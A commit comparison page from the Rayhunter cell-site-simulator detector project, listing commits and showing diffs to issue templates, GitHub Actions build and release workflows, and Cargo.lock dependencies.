Compare commits

..

75 Commits

Author SHA1 Message Date
Will Greenberg deeab1f1b0 Fix make script
Only build the daemon for make's purposes
2025-06-24 10:30:49 -07:00
Will Greenberg 83dba77cba Bump version to 0.4.0 2025-06-24 10:30:49 -07:00
Markus Unterwaditzer 542aff4fdf Merge pull request #351 from untitaker/restart
Config change and restart UI
2025-06-24 19:23:30 +02:00
Markus Unterwaditzer 2ececf9c58 Fix tests 2025-06-24 02:09:22 +02:00
Markus Unterwaditzer 2cba26a4cc Remove unused import 2025-06-24 01:25:01 +02:00
Markus Unterwaditzer 48c0592b18 Merge remote-tracking branch 'origin/main' into restart 2025-06-24 01:24:43 +02:00
Markus Unterwaditzer a21c9af354 Restart when config is set 2025-06-24 01:12:46 +02:00
Markus Unterwaditzer 0c241aba23 Address review comments 2025-06-23 14:30:40 -07:00
Markus Unterwaditzer b2502847a1 Add ZIP download endpoint 2025-06-23 14:30:40 -07:00
Markus Unterwaditzer be6f29dcf1 Add exponential backoff 2025-06-23 22:47:34 +02:00
Markus Unterwaditzer 2114206909 Remove advanced options 2025-06-23 21:24:04 +02:00
Markus Unterwaditzer f735f033d3 Fix indentation 2025-06-23 21:13:41 +02:00
Markus Unterwaditzer b825174a07 Apply suggestions from code review
Co-authored-by: Will Greenberg <ifnspifn@gmail.com>
2025-06-23 21:03:01 +02:00
Markus Unterwaditzer 29823d3e82 Update documentation and fix broken links
* Add a new configuration page and move content out from TP-Link. The
  Configuration section in TP-Link is duplicating what is already in
  config.toml.example, and given that we have recently added a lot of
  new options I don't want to maintain multiple copies.

* Lots of anchor links were broken since we moved docs from README into
  mdbook. Fix them all.

* Document that the key input feature is disabled since 0.4.0.

* Smaller cosmetic changes:

  * Make TP-Link M7350 page consistent with TP-Link M7310 page.
  * Fix indentation on some bullet points.
  * Center-align the rayhunter logo in introduction.md to calm my soul.
    It is still misaligned with the page title above itself.
  * Add "edit on github" link in mdbook settings.
2025-06-23 09:40:20 -07:00
Markus Unterwaditzer e52d382514 Make SvelteKit build reproducible 2025-06-23 09:38:00 -07:00
Markus Unterwaditzer a17e255148 un-skip jobs for testing 2025-06-23 09:38:00 -07:00
Markus Unterwaditzer 0f98b05475 Try out rust-cache action 2025-06-23 09:38:00 -07:00
Markus Unterwaditzer 5e5514a11f Fix key_input blocking shutdown
Discovered in #351 where restart would hang forever.

key_input.rs never properly implemented shutdown because it didn't have
to do anything interesting on shutdown.

Wire up oneshot channels so that it falls in line with other services.

I do wonder though if there's a more clever way of handling this. For
example I could just not use the task_tracker, use tokio::spawn and let
the task get cancelled by tokio.
2025-06-21 23:57:54 +02:00
Markus Unterwaditzer 9904b74d21 basic ui 2025-06-20 11:47:40 +02:00
Markus Unterwaditzer d166dfc13d get config and set config 2025-06-20 11:47:40 +02:00
Markus Unterwaditzer 9b759e6b42 add basic restart endpoint 2025-06-20 11:47:40 +02:00
oopsbagel 5614c725a0 Merge pull request #418 from EFForg/tplink-hotfix-v9
Fix broken installer on TP-Link M7350 v9
2025-06-20 08:09:40 +00:00
oopsbagel 5a7fc2a063 Merge pull request #387 from oopsbagel/wingtech-ct2mhs01
feat: support Wingtech CT2MHS01 hotspot
2025-06-20 08:00:56 +00:00
Markus Unterwaditzer e601320b3f Fix broken installer on TP-Link M7350 v9
TP-Link v9 was inadvertently broken via https://github.com/EFForg/rayhunter/pull/390
2025-06-20 02:01:55 +02:00
Cooper Quintin 0b05d1617c enable null cipher heuristic by default in config 2025-06-18 13:32:37 -07:00
Cooper Quintin e7ba02173a update heuristic docs 2025-06-18 13:32:37 -07:00
Cooper Quintin 0b0dd4ed43 add file extensions to downloads, fixes #397 2025-06-18 13:32:37 -07:00
Markus Unterwaditzer f2ff1be2ec Disable input keys by default
People say it's too easy to press, see #404
2025-06-18 08:44:26 -07:00
Markus Unterwaditzer 9f9adea5a1 Debounce key input events 2025-06-18 08:05:35 -07:00
Markus Unterwaditzer cb2092d14f Fix last_message_time showing as 1970 when capture is 0 bytes
This is the same bug as #224, but regressed in the new UI
2025-06-17 16:38:49 -07:00
Cooper Quintin 76cdb3ecf1 re-add warning again 2025-06-17 16:30:22 -07:00
Cooper Quintin bee5152381 re enable null cipher test 2025-06-17 16:30:22 -07:00
Cooper Quintin 2634271715 re-enable null cipher and update docs 2025-06-17 16:30:22 -07:00
Cooper Quintin 58913314aa helpful comment 2025-06-17 16:30:22 -07:00
Cooper Quintin 4f5bf4aa78 silence logging and point to specific revision and re-add warning 2025-06-17 16:30:22 -07:00
Cooper Quintin bfc85c5103 re enable null cipher test 2025-06-17 16:30:22 -07:00
Cooper Quintin 7923327ba9 update binary name. Fixes #128 2025-06-17 16:30:22 -07:00
oopsbagel 3ff714972c fix(installer/wingtech): parse json login response
Use serde via reqwest to deserialize the login response from qcmap_auth
when obtaining an authentication token instead of golfing based on the
specific token length.
2025-06-16 00:38:28 -07:00
oopsbagel a5d8e601d9 Merge pull request #399 from oopsbagel/fix-blame-ignore-rev-file
chore/fix: fix blame ignore rev file rev
2025-06-16 03:42:57 +00:00
oopsbagel 5272a99fb5 chore/fix: fix blame ignore rev file rev
Due to rebasing, this pointed to a nonexistent commit.
2025-06-15 20:40:50 -07:00
oopsbagel 5d61ad53b4 Merge pull request #394 from EFForg/readme-404
Fix broken CI badge in README
2025-06-16 03:32:22 +00:00
Markus Unterwaditzer 88ee4fc87e Fix broken CI badge in README 2025-06-14 17:13:30 +02:00
oopsbagel 8aadfc20f2 fix(installer/wingtech): remove duplicated struct 2025-06-13 22:00:20 -07:00
oopsbagel a234df1e1e fix(installer/wingtech): only say ok if telnet connected 2025-06-13 21:39:12 -07:00
oopsbagel de25008742 Merge pull request #392 from EFForg/ci-restore-main-workflow-call
fix(ci): restore deleted workflow_call trigger
2025-06-14 02:45:25 +00:00
oopsbagel 185da9cb36 fix(ci): explain why workflow_call: is needed 2025-06-13 19:42:38 -07:00
oopsbagel c366eb9e4d fix(ci): restore deleted workflow_call trigger
This is required to call this workflow from another workflow, such as
the release.yml workflow.
2025-06-13 19:38:49 -07:00
oopsbagel 5dfbeaef64 Merge pull request #390 from EFForg/m7310
Add support for TP-Link M7310
2025-06-14 02:36:14 +00:00
oopsbagel 62e4c15eb5 Merge pull request #391 from EFForg/fix-workflow-main
Do not publish docs from any branch
2025-06-14 02:34:35 +00:00
Markus Unterwaditzer 02c98a8e8e Do not publish docs from any branch
Documentation was being pushed from an unrelated PR that I opened,
because that PR was created from a branch pushed to efforg instead of my
own fork.
2025-06-14 02:10:56 +02:00
Markus Unterwaditzer 6c02f56250 Add support for TP-Link M7310
The device is very similar to the M7350, and might as well just be
another hardware version.
2025-06-13 16:04:13 +02:00
oopsbagel f56acdf89d fix(installer/wingtech): better Response variable 2025-06-12 12:46:08 -07:00
oopsbagel cb6f79f67a ci: build wingtech 2025-06-12 01:11:01 -07:00
oopsbagel 95951c5c38 fix(display/mod.rs): remove "no device" check
This check is unnecessary, cargo will not build if fn update_ui is
undefined.
2025-06-12 01:04:29 -07:00
oopsbagel 241fb2789b fix(display/mod.rs): remove "many devices" check
This check is unnecessary, cargo will not build if multiple versions of
fn update_ui are defined.
2025-06-12 01:01:05 -07:00
oopsbagel 3a3adb055b fix(installer): wingtech adb error message 2025-06-12 00:45:52 -07:00
oopsbagel 3ae2636d9e chore(installer/build.rs): cargo clippy 2025-06-12 00:44:36 -07:00
oopsbagel 79b2628d2f chore: cargo fmt 2025-06-12 00:43:00 -07:00
oopsbagel cba898daf6 feat(installer/util): telnet functions in util.rs
Add installer util wingtech-start-telnet command.
Add installer util wingtech-start-adb command.
2025-06-12 00:39:27 -07:00
oopsbagel cb1df974e4 feat: support Wingtech CT2MHS01 hotspot
Add support for the Wingtech CT2MHS01 hotspot, a Qualcomm mdm9650-based
device with a screen available for US$15-35. This device is often used
as a base platform for while labeled versions like the T-Mobile TMOHS1.
AT&T branded versions of the hotspot seem to be the most abundant.

The device has a framebuffer-driven screen at /dev/fb0 that behaves
similarly to the Orbic RC400L, although the userspace program
`displaygui` refreshes the screen significantly more often than on the
Orbic. This causes the green line on the screen to subtly flicker and
only be displayed during some frames. Subsequent work to fully control
the display without removing the OEM interface is desired.
2025-06-11 18:06:50 -07:00
Markus Unterwaditzer 86e08f9a85 Allow enabling/disabling analyzers from config file (#382)
Co-authored-by: Will Greenberg <willg@eff.org>
2025-06-10 21:37:38 +02:00
Markus Unterwaditzer fb2149f0c8 Loosen up issue templates
A lot of the bug report we receive are about the web UI or the installer
failing, and there things like capture date just don't matter. We could
create separate templates for these types of bugs, but I'd think it's
probably better to just have one textbox with a few "reminder" questions
that are all optional.

Feature request template I think doesn't have this issue.

Also allow the creation of blank issues, because some issues are more
related to CI or devenv and don't neatly fit in any category. Let's just
hope nobody abuses that?
2025-06-10 11:49:56 -07:00
oopsbagel bf2b00ce47 doc(faq): send commands with installer util shell 2025-06-10 11:49:20 -07:00
oopsbagel fd453900c2 doc(faq): format code correctly 2025-06-10 11:49:20 -07:00
oopsbagel 3d29c5f306 doc: add re-enabling USB tethering to the FAQ
Fixes issue #294
2025-06-10 11:49:20 -07:00
jrddupont 74623dea02 doc: Fix instructions for mac quarantine bit (#385) 2025-06-10 00:33:12 +02:00
Cooper Quintin 48e73a0a41 revert accidental futures upgrade 2025-06-06 12:44:39 -07:00
Cooper Quintin a36863e002 bump version 2025-06-06 12:44:39 -07:00
oopsbagel 48aac0f0bb Merge pull request #380 from oopsbagel/fix-ci-env
ci: don't try to use env:
2025-06-06 19:33:50 +00:00
oopsbagel 5749c305c6 ci: don't try to use env:
I apparently don't know how this works.
2025-06-06 12:30:36 -07:00
oopsbagel f53688086d ci: minor syntax and workflow order fixes 2025-06-06 12:21:24 -07:00
oopsbagel bd2e0b4394 ci: release from actions, only test changed files
This commit introduces release automation triggered by button clicks in
Github Actions, guarded by a check on whether all the Cargo.toml files
contain the same version string.

On PRs, changes to documentation no longer trigger code tests.
Similarly, changes to code that don't update documentation do not
trigger documentation tests. Changes that fail at the `cargo check`
stage abort early to prevent lengthy CI builds of the installer and
firmware.

Commits on the `main` branch always run the full test suite regardless
of what changed.

Releases also run the full check, test, build and publish suite.
2025-06-06 12:21:24 -07:00
alli.sys 1eea086199 Merge pull request #375 from EFForg/eff-adb
Switch to the EFF org fork of adb_client
2025-06-05 21:28:06 -04:00
Sashanoraa d36c1f10cd Switch to the EFF org fork of adb_client 2025-06-05 20:22:43 -04:00
Markus Unterwaditzer 8d8d2bd8ec Fix crash when deleting recordings
Due to a refactor in https://github.com/EFForg/rayhunter/pull/350, we
had to move more into the shared codepath of StopRecording. The todo!()
used to be unreachable when it was just in the stop-recording endpoint.

Fix #367
2025-06-05 09:28:31 -07:00
57 changed files with 1653 additions and 518 deletions
+1 -1
View File
@@ -1 +1 @@
c5bbaabe15d4ccfee97b9997a13569fbfea13c45 9fe75ac961c57e508bf7488ce51d596750fa8d37
+11 -51
View File
@@ -1,59 +1,19 @@
name: Bug Report name: Bug Report
description: File a bug report. description: File a bug report.
title: "[Bug]: " labels: ["bug"]
body: body:
- type: markdown
attributes:
value: |
Thanks for taking the time to fill out this bug report!
- type: input
attributes:
label: Rayhunter Version
description: |
Which version did you install?
placeholder: "v0.2.6"
- type: input
attributes:
label: Capture Date
description: |
YYYY-MM-DD
placeholder: "2025-05-01"
validations:
required: true
- type: input
attributes:
label: Capture Location
description: |
(If comfortable disclosing) What region or country were you in?
placeholder: Washington State
- type: input
attributes:
label: Device and Model
description: |
Device you installed Rayhunter on to.
placeholder: Orbic RC400L
validations:
required: true
- type: textarea - type: textarea
id: what-happened
attributes: attributes:
label: What happened? label: Bug Report Details
description: | description: |
What steps did you take to get to your issue? Please provide the following information, if applicable:
placeholder: "Tell us what you see!" placeholder: |
• **Rayhunter Version**: (e.g., v0.2.6)
• **Capture Date**: (YYYY-MM-DD, e.g., 2025-05-01)
• **Capture Location**: (If comfortable disclosing, what region or country were you in? e.g., Washington State)
• **Device and Model**: (Device you installed Rayhunter on, e.g., Orbic RC400L)
• **What happened?**: (What steps did you take to get to your issue? Tell us what you see!)
• **Expected behavior**: (Rayhunter's behavior differed from what I expected because...)
• **Relevant log output**: (Rayhunter data captures - QMDL and PCAP logs - or error codes)
validations: validations:
required: true required: true
- type: textarea
id: expected
attributes:
label: Expected behavior
description: Rayhunter's behavior differed from what I expected because.
placeholder: "What was expected?"
validations:
required: true
- type: textarea
id: logs
attributes:
label: Relevant log output
description: Rayhunter data captures (QMDL and PCAP logs) or error codes
render: shell
+1 -1
View File
@@ -1,4 +1,4 @@
blank_issues_enabled: false blank_issues_enabled: true
contact_links: contact_links:
- name: Rayhunter Mattermost - name: Rayhunter Mattermost
url: https://opensource.eff.org/signup_user_complete/?id=6iqur37ucfrctfswrs14iscobw&md=link&sbr=su url: https://opensource.eff.org/signup_user_complete/?id=6iqur37ucfrctfswrs14iscobw&md=link&sbr=su
-1
View File
@@ -1,6 +1,5 @@
name: Feature Request name: Feature Request
description: Suggest a new feature or improvement to Rayhunter description: Suggest a new feature or improvement to Rayhunter
title: "[Feature Request]: "
labels: ["enhancement"] labels: ["enhancement"]
body: body:
- type: textarea - type: textarea
-54
View File
@@ -1,54 +0,0 @@
name: Check and Test
on:
push:
branches: [ "main" ]
pull_request:
branches: [ "main" ]
env:
CARGO_TERM_COLOR: always
NO_FIRMWARE_BIN: true
jobs:
check_and_test:
strategy:
matrix:
device:
- name: tplink
- name: orbic
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Check
run: |
pushd bin/web
npm install
npm run build
popd
cargo check --verbose --no-default-features --features=${{ matrix.device.name }}
- name: Run tests
run: |
pushd bin/web
npm install
npm run build
popd
cargo test --verbose --no-default-features --features=${{ matrix.device.name }}
- name: Run clippy
run: cargo clippy --verbose --no-default-features --features=${{ matrix.device.name }}
windows_installer_check_and_test:
runs-on: windows-latest
steps:
- uses: actions/checkout@v3
- name: cargo check
shell: bash
run: |
cd installer
cargo check --verbose
- name: cargo test
shell: bash
run: |
cd installer
cargo test --verbose --no-default-features --features=${{ matrix.device.name }}
@@ -1,19 +1,158 @@
name: Build Release name: main
on: on:
push: push:
branches: [main, "release-*"] branches: [ main ]
pull_request: pull_request:
branches: ["main"] branches: [ main ]
workflow_call: # required to call this workflow from another workflow like release.yml
env: env:
CARGO_TERM_COLOR: always CARGO_TERM_COLOR: always
FILE_ROOTSHELL: ../../rootshell/rootshell FILE_ROOTSHELL: ../../rootshell/rootshell
FILE_RAYHUNTER_DAEMON_ORBIC: ../../rayhunter-daemon-orbic/rayhunter-daemon FILE_RAYHUNTER_DAEMON_ORBIC: ../../rayhunter-daemon-orbic/rayhunter-daemon
FILE_RAYHUNTER_DAEMON_TPLINK: ../../rayhunter-daemon-tplink/rayhunter-daemon FILE_RAYHUNTER_DAEMON_TPLINK: ../../rayhunter-daemon-tplink/rayhunter-daemon
FILE_RAYHUNTER_DAEMON_WINGTECH: ../../rayhunter-daemon-wingtech/rayhunter-daemon
jobs: jobs:
files_changed:
name: Detect file changes
runs-on: ubuntu-latest
permissions:
contents: read
outputs:
code_changed: ${{ steps.files_changed.outputs.code_count }}
daemon_changed: ${{ steps.files_changed.outputs.daemon_count }}
docs_changed: ${{ steps.files_changed.outputs.docs_count }}
installer_changed: ${{ steps.files_changed.outputs.installer_count }}
rootshell_changed: ${{ steps.files_changed.outputs.rootshell_count }}
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0
- name: detect file changes
id: files_changed
run: |
lcommit=${{ github.event.pull_request.base.sha || 'origin/main' }}
# If we are on main, or if these workflow files are being changed, run everything
if [ ${{ github.ref }} = 'refs/heads/main' ] || git diff --name-only $lcommit..HEAD | grep -qe ^.github/workflows/
then
echo "building everything"
echo code_count=forced >> "$GITHUB_OUTPUT"
echo daemon_count=forced >> "$GITHUB_OUTPUT"
echo docs_count=forced >> "$GITHUB_OUTPUT"
echo installer_count=forced >> "$GITHUB_OUTPUT"
echo rootshell_count=forced >> "$GITHUB_OUTPUT"
else
echo "code_count=$(git diff --name-only $lcommit...HEAD | grep -e ^bin -e ^installer -e ^lib -e ^rootshell -e ^telcom-parser | wc -l)" >> "$GITHUB_OUTPUT"
echo "daemon_count=$(git diff --name-only $lcommit...HEAD | grep -e ^bin -e ^lib -e ^telcom-parser | wc -l)" >> "$GITHUB_OUTPUT"
echo "docs_count=$(git diff --name-only $lcommit...HEAD | grep -e ^book.toml -e ^doc | wc -l)" >> "$GITHUB_OUTPUT"
echo "installer_count=$(git diff --name-only $lcommit...HEAD | grep -e ^installer | wc -l)" >> "$GITHUB_OUTPUT"
echo "rootshell_count=$(git diff --name-only $lcommit...HEAD | grep -e ^rootshell | wc -l)" >> "$GITHUB_OUTPUT"
fi
mdbook_test:
name: Test mdBook Documentation builds
needs: files_changed
if: needs.files_changed.outputs.docs_changed != '0'
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- uses: actions/checkout@v4
- name: Install mdBook
run: |
cargo install mdbook --no-default-features --features search --vers "^0.4" --locked
- name: Test mdBook
run: mdbook test
mdbook_publish:
name: Publish mdBook to Github Pages
needs: mdbook_test
if: ${{ github.ref == 'refs/heads/main' }}
permissions:
pages: write
contents: write
id-token: write
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Install mdBook
run: |
cargo install mdbook --no-default-features --features search --vers "^0.4" --locked
- name: Build mdBook
run: mdbook build
- name: Setup Pages
uses: actions/configure-pages@v4
- name: Upload artifact
uses: actions/upload-pages-artifact@v3
with:
path: book
- name: Deploy to Github Pages
uses: actions/deploy-pages@v4
check_and_test:
needs: files_changed
if: needs.files_changed.outputs.code_changed != '0'
strategy:
matrix:
device:
- name: orbic
- name: tplink
- name: wingtech
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- uses: actions/checkout@v4
- uses: Swatinem/rust-cache@v2
- name: Check formatting
run: cargo fmt --all --check
- name: Check
run: |
pushd bin/web
npm install
npm run build
popd
NO_FIRMWARE_BIN=true cargo check --verbose --no-default-features --features=${{ matrix.device.name }}
- name: Run tests
run: |
NO_FIRMWARE_BIN=true cargo test --verbose --no-default-features --features=${{ matrix.device.name }}
- name: Run clippy
run: |
NO_FIRMWARE_BIN=true cargo clippy --verbose --no-default-features --features=${{ matrix.device.name }}
windows_installer_check_and_test:
needs: files_changed
if: needs.files_changed.outputs.installer_changed != '0'
runs-on: windows-latest
permissions:
contents: read
steps:
- uses: actions/checkout@v4
- uses: Swatinem/rust-cache@v2
- name: cargo check
shell: bash
run: |
cd installer
NO_FIRMWARE_BIN=true cargo check --verbose
- name: cargo test
shell: bash
run: |
cd installer
NO_FIRMWARE_BIN=true cargo test --verbose --no-default-features
build_rayhunter_check: build_rayhunter_check:
if: needs.files_changed.outputs.daemon_changed != '0'
needs:
- check_and_test
- files_changed
permissions:
contents: read
packages: write
strategy: strategy:
matrix: matrix:
platform: platform:
@@ -35,6 +174,7 @@ jobs:
runs-on: ${{ matrix.platform.os }} runs-on: ${{ matrix.platform.os }}
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v4
- uses: Swatinem/rust-cache@v2
- name: Build rayhunter-check - name: Build rayhunter-check
run: cargo build --bin rayhunter-check --release run: cargo build --bin rayhunter-check --release
- uses: actions/upload-artifact@v4 - uses: actions/upload-artifact@v4
@@ -42,13 +182,21 @@ jobs:
name: rayhunter-check-${{ matrix.platform.name }} name: rayhunter-check-${{ matrix.platform.name }}
path: target/release/rayhunter-check${{ matrix.platform.os == 'windows-latest' && '.exe' || '' }} path: target/release/rayhunter-check${{ matrix.platform.os == 'windows-latest' && '.exe' || '' }}
if-no-files-found: error if-no-files-found: error
build_rootshell: build_rootshell:
if: needs.files_changed.outputs.rootshell_changed != '0'
needs:
- check_and_test
- files_changed
runs-on: ubuntu-latest runs-on: ubuntu-latest
permissions:
contents: read
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v4
- uses: dtolnay/rust-toolchain@stable - uses: dtolnay/rust-toolchain@stable
with: with:
targets: armv7-unknown-linux-musleabihf targets: armv7-unknown-linux-musleabihf
- uses: Swatinem/rust-cache@v2
- name: Build rootshell (arm32) - name: Build rootshell (arm32)
run: cargo build --bin rootshell --target armv7-unknown-linux-musleabihf --profile=firmware run: cargo build --bin rootshell --target armv7-unknown-linux-musleabihf --profile=firmware
- uses: actions/upload-artifact@v4 - uses: actions/upload-artifact@v4
@@ -56,18 +204,28 @@ jobs:
name: rootshell name: rootshell
path: target/armv7-unknown-linux-musleabihf/firmware/rootshell path: target/armv7-unknown-linux-musleabihf/firmware/rootshell
if-no-files-found: error if-no-files-found: error
build_rayhunter: build_rayhunter:
if: needs.files_changed.outputs.daemon_changed != '0'
needs:
- check_and_test
- files_changed
permissions:
contents: read
packages: write
strategy: strategy:
matrix: matrix:
device: device:
- name: tplink
- name: orbic - name: orbic
- name: tplink
- name: wingtech
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v4
- uses: dtolnay/rust-toolchain@stable - uses: dtolnay/rust-toolchain@stable
with: with:
targets: armv7-unknown-linux-musleabihf targets: armv7-unknown-linux-musleabihf
- uses: Swatinem/rust-cache@v2
- name: Build rayhunter-daemon (arm32) - name: Build rayhunter-daemon (arm32)
run: | run: |
pushd bin/web pushd bin/web
@@ -88,9 +246,17 @@ jobs:
name: rayhunter-daemon-${{ matrix.device.name }} name: rayhunter-daemon-${{ matrix.device.name }}
path: target/armv7-unknown-linux-musleabihf/firmware/rayhunter-daemon path: target/armv7-unknown-linux-musleabihf/firmware/rayhunter-daemon
if-no-files-found: error if-no-files-found: error
build_rust_installer: build_rust_installer:
if: needs.files_changed.outputs.installer_changed != '0'
permissions:
contents: read
packages: write
needs: needs:
- build_rayhunter - build_rayhunter
- build_rootshell
- files_changed
- windows_installer_check_and_test
strategy: strategy:
matrix: matrix:
platform: platform:
@@ -116,6 +282,7 @@ jobs:
- uses: dtolnay/rust-toolchain@stable - uses: dtolnay/rust-toolchain@stable
with: with:
targets: ${{ matrix.platform.target }} targets: ${{ matrix.platform.target }}
- uses: Swatinem/rust-cache@v2
- run: cargo build --bin installer --release --target ${{ matrix.platform.target }} - run: cargo build --bin installer --release --target ${{ matrix.platform.target }}
- uses: actions/upload-artifact@v4 - uses: actions/upload-artifact@v4
with: with:
@@ -124,6 +291,9 @@ jobs:
if-no-files-found: error if-no-files-found: error
build_release_zip: build_release_zip:
permissions:
contents: read
packages: write
needs: needs:
- build_rayhunter_check - build_rayhunter_check
- build_rootshell - build_rootshell
-47
View File
@@ -1,47 +0,0 @@
# On Repository Settings > Pages > Build and deployment
# Set "Source" to GitHub Actions.
name: Documentation
on:
push:
branches: ["main"]
pull_request:
branches: ["main"]
jobs:
mdbook_test:
name: Test mdBook Documentation builds
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Install mdBook
run: |
cargo install mdbook --no-default-features --features search --vers "^0.4" --locked
- name: Test mdBook
run: mdbook test
mdbook_publish:
if: ${{ github.event_name != 'pull_request' }}
needs: mdbook_test
permissions:
pages: write
contents: write
id-token: write
name: Publish mdBook to Github Pages
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Install mdBook
run: |
cargo install mdbook --no-default-features --features search --vers "^0.4" --locked
- name: Build mdBook
run: mdbook build
- name: Setup Pages
uses: actions/configure-pages@v4
- name: Upload artifact
uses: actions/upload-pages-artifact@v3
with:
path: book
- name: Deploy to Github Pages
uses: actions/deploy-pages@v4
+48
View File
@@ -0,0 +1,48 @@
# To use: navigate on Github to Actions, select "Release rayhunter" on the left, click "Run workflow" > "Run workflow" on the right.
# https://github.com/EFForg/rayhunter/actions/workflows/release.yml
name: Release rayhunter
on:
workflow_dispatch:
env:
GH_TOKEN: ${{ github.token }}
jobs:
check_version_same:
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- uses: actions/checkout@v4
- name: Ensure all Cargo.toml files have the same version defined.
run: |
defined_versions=$(find lib bin installer rootshell telcom-parser -name Cargo.toml -exec grep ^version {} \; | sort -u | wc -l)
find lib bin installer rootshell telcom-parser -name Cargo.toml -exec grep ^version {} \;
echo number of defined versions = $defined_versions
if [ $defined_versions != "1" ]
then
echo "all Cargo.toml files must have the same version defined"
exit 1
fi
main:
needs: check_version_same
permissions:
contents: write
id-token: write
packages: write
pages: write
uses: ./.github/workflows/main.yml
release:
runs-on: ubuntu-latest
needs: main
permissions:
contents: write
steps:
- uses: actions/checkout@v4
- uses: actions/download-artifact@v4
- name: Create release
run: |
version=$(grep ^version lib/Cargo.toml | cut -d' ' -f3 | tr -d '"')
gh release create --generate-notes -t "Rayhunter v$version" "v$version" rayhunter-v${version}/rayhunter-*
Generated
+78 -15
View File
@@ -5,7 +5,7 @@ version = 4
[[package]] [[package]]
name = "adb_client" name = "adb_client"
version = "2.1.11" version = "2.1.11"
source = "git+https://github.com/gaykitty/adb_client.git?rev=e732fc178a0eb237138e4091059ff5ffa241385a#e732fc178a0eb237138e4091059ff5ffa241385a" source = "git+https://github.com/EFForg/adb_client.git?rev=e511662394e4fa32865c154c40f81a3d846f700c#e511662394e4fa32865c154c40f81a3d846f700c"
dependencies = [ dependencies = [
"async-io", "async-io",
"base64", "base64",
@@ -46,6 +46,17 @@ version = "2.0.0"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "512761e0bb2578dd7380c6baaa0f4ce03e84f95e960231d1dec8bf4d7d6e2627" checksum = "512761e0bb2578dd7380c6baaa0f4ce03e84f95e960231d1dec8bf4d7d6e2627"
[[package]]
name = "aes"
version = "0.8.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0"
dependencies = [
"cfg-if",
"cipher",
"cpufeatures",
]
[[package]] [[package]]
name = "aho-corasick" name = "aho-corasick"
version = "1.1.3" version = "1.1.3"
@@ -157,9 +168,8 @@ checksum = "7c02d123df017efcdfbd739ef81735b36c5ba83ec3c59c80a9d7ecc718f92e50"
[[package]] [[package]]
name = "asn1-codecs" name = "asn1-codecs"
version = "0.6.1" version = "0.7.0"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "git+https://github.com/ystero-dev/hampi?rev=67f3283764eda20022d190c3d3d6edd1a88047e0#67f3283764eda20022d190c3d3d6edd1a88047e0"
checksum = "5e4ed1fe0647213e739f7ea78f50d3d0f6f9bef7285f6d8672aaca8365decfc3"
dependencies = [ dependencies = [
"bitvec", "bitvec",
"log", "log",
@@ -169,10 +179,10 @@ dependencies = [
[[package]] [[package]]
name = "asn1-compiler" name = "asn1-compiler"
version = "0.6.1" version = "0.7.0"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "git+https://github.com/ystero-dev/hampi?rev=67f3283764eda20022d190c3d3d6edd1a88047e0#67f3283764eda20022d190c3d3d6edd1a88047e0"
checksum = "b1d056f38f3e98ffe9808e6a482d1527e4ded46e72b3dbe77305f5508e76c5f6"
dependencies = [ dependencies = [
"anyhow",
"bitvec", "bitvec",
"clap", "clap",
"env_logger 0.10.2", "env_logger 0.10.2",
@@ -187,9 +197,8 @@ dependencies = [
[[package]] [[package]]
name = "asn1_codecs_derive" name = "asn1_codecs_derive"
version = "0.6.1" version = "0.7.0"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "git+https://github.com/ystero-dev/hampi?rev=67f3283764eda20022d190c3d3d6edd1a88047e0#67f3283764eda20022d190c3d3d6edd1a88047e0"
checksum = "394acf8791d3d345ed71e2e820355c9f8ad4202a99b97e59fb7b6595b18f28cd"
dependencies = [ dependencies = [
"asn1-codecs", "asn1-codecs",
"bitvec", "bitvec",
@@ -240,6 +249,20 @@ dependencies = [
"syn 2.0.101", "syn 2.0.101",
] ]
[[package]]
name = "async_zip"
version = "0.0.17"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "00b9f7252833d5ed4b00aa9604b563529dd5e11de9c23615de2dcdf91eb87b52"
dependencies = [
"crc32fast",
"futures-lite",
"pin-project",
"thiserror 1.0.69",
"tokio",
"tokio-util",
]
[[package]] [[package]]
name = "atomic-waker" name = "atomic-waker"
version = "1.1.2" version = "1.1.2"
@@ -350,6 +373,12 @@ version = "0.22.1"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6"
[[package]]
name = "base64_light"
version = "0.1.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "8c6aca08f76b8485947a20a1b3096e5a8cd6edbcecc6d2a8932df9b41d36aadf"
[[package]] [[package]]
name = "base64ct" name = "base64ct"
version = "1.7.3" version = "1.7.3"
@@ -411,6 +440,15 @@ dependencies = [
"generic-array", "generic-array",
] ]
[[package]]
name = "block-padding"
version = "0.3.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a8894febbff9f758034a5b8e12d87918f56dfc64a8e1fe757d65e29041538d93"
dependencies = [
"generic-array",
]
[[package]] [[package]]
name = "built" name = "built"
version = "0.7.7" version = "0.7.7"
@@ -504,6 +542,16 @@ dependencies = [
"windows-link", "windows-link",
] ]
[[package]]
name = "cipher"
version = "0.4.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad"
dependencies = [
"crypto-common",
"inout",
]
[[package]] [[package]]
name = "clap" name = "clap"
version = "4.5.38" version = "4.5.38"
@@ -1431,13 +1479,25 @@ dependencies = [
